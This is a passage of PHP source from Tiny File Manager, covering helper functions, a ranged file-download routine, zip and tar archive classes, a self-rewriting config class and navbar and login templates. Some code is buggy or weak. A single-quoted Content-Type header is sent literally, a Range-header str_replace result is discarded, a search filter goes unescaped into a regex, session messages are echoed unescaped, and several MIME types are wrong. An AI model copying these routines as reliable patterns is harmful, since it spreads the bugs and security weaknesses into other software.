 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

/**
 * Prevent XSS attacks
 * @param string $text
 * @return string
 */
function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}

/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[FM_SESSION_ID]['message'] = $msg;
    $_SESSION[FM_SESSION_ID]['status'] = $status;
}

/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}

/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (FM_IS_WIN && function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}

/**
 * @param $obj
 * @return array
 */
function fm_object_to_array($obj)
{
    if (!is_object($obj) && !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}

/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tar':
        case '7z':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}

/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg');
}

/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}

/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}

/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py',
        'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi'
    );
}

/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
    );
}

/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}

/**
 * Get online docs viewer supported files extensions
 * @return array
 */
function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    return $fileTypes[$extension];
}

/**
 * This function scans the files and folder recursively, and return matching files
 * @param string $dir
 * @param string $filter
 * @return json
 */
 function scan($dir, $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($dir) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}

/*
Parameters: downloadFile(File Location, File Name,
max speed, is streaming
If streaming - videos will show as videos, images as images
instead of download prompt
https://stackoverflow.com/a/13821992/1164642
*/

function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);
    header("Cache-Control: public");
    header("Content-Transfer-Encoding: binary\n");
    header('Content-Type: $contentType');

    $contentDisposition = 'attachment';


    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;
    $size = filesize($fileLocation);

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }

    if ($size == 0) {
        die('Zero byte file! Aborting download');
    }
    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    fseek($fp, $range);

    while (!feof($fp) and (connection_status() == 0)) {
        set_time_limit(0);
        print(@fread($fp, 1024*$chunkSize));
        flush();
        ob_flush();
        sleep(1);
    }
    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Class to work with Tar files (using PharData)
 */
class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}



/**
 * Save Configuration
 */
 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'Tiny File Manager<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) && count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}



//--- templates functions

/**
 * Show nav block
 * @param string $path
 */
function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand" href=""> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7 text-right">
                <ul class="navbar-nav mr-auto float-right <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle" id="search-addon2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-toggle="modal" data-target="#searchModal">Advanced Search</a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-toggle="modal" data-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo $_SESSION[FM_SESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu dropdown-menu-right <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}

/**
 * Show message from session
 */
function fm_show_message()
{
    if (isset($_SESSION[FM_SESSION_ID]['message'])) {
        $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
        unset($_SESSION[FM_SESSION_ID]['message']);
        unset($_SESSION[FM_SESSION_ID]['status']);
    }
}

/**
 * Show page header in Login Form
 */
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <link rel="icon" href="<?php echo fm_enc($favicon_path) ?>" type="image/png">
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 